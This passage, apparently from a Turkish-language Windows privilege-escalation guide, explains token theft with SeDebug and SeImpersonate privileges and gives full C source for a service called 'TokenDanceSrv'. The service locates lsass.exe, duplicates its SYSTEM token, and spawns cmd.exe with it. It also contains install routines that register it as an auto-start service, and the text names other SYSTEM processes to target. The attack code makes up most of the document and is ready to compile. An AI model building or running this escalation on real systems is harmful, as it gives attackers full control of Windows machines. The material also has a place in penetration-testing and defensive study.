Aşağıdaki kod SeDebug ve SeImpersonate ayrıcalıklarını kullanarak bir SISTEM olarak çalışan bir süreçten token'ı kopyalar ve tüm token ayrıcalıklarına sahiptir.
Bu durumda, bu kod bir Windows hizmeti ikili dosyası olarak derlenip kullanılabilir ve çalıştığını kontrol edebilirsiniz.
Ancak, yükseltmenin gerçekleştiği ana kod kısmıExploitfonksiyonu içindedir.
O fonksiyonun içinde _lsass.exe_ sürecinin arandığını, ardından token'ının kopyalandığını ve son olarak o token'ın kopyalanan token'ın tüm ayrıcalıklarıyla yeni bir cmd.exe başlatmak için kullanıldığını görebilirsiniz.
SISTEM olarak çalışan ve token ayrıcalıklarının tamamına veya çoğuna sahip diğer süreçler: services.exe, svhost.exe (ilklerden biri), wininit.exe, csrss.exe... (korumalı bir süreçten token kopyalayamayacağınızı unutmayın). Ayrıca, bir sürecin token'larını görmek için yönetici olarak çalışan Process Hacker aracını kullanabilirsiniz.
// From https://cboard.cprogramming.com/windows-programming/106768-running-my-program-service.html#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("TokenDanceSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//This function will find the pid of a process by nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {HANDLE hSystemToken, hSystemProcess;HANDLE dupSystemToken =NULL;HANDLE hProcess, hThread;STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;ZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));// open high privileged processif ( pid =FindTarget("lsass.exe") )hSystemProcess =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract high privileged tokenif (!OpenProcessToken(hSystemProcess, TOKEN_ALL_ACCESS,&hSystemToken)) {CloseHandle(hSystemProcess);return-1;}// make a copy of a tokenDuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS,NULL, SecurityImpersonation, TokenPrimary,&dupSystemToken);// and spawn a new process with higher privsCreateProcessAsUserA(dupSystemToken,"C:\\windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}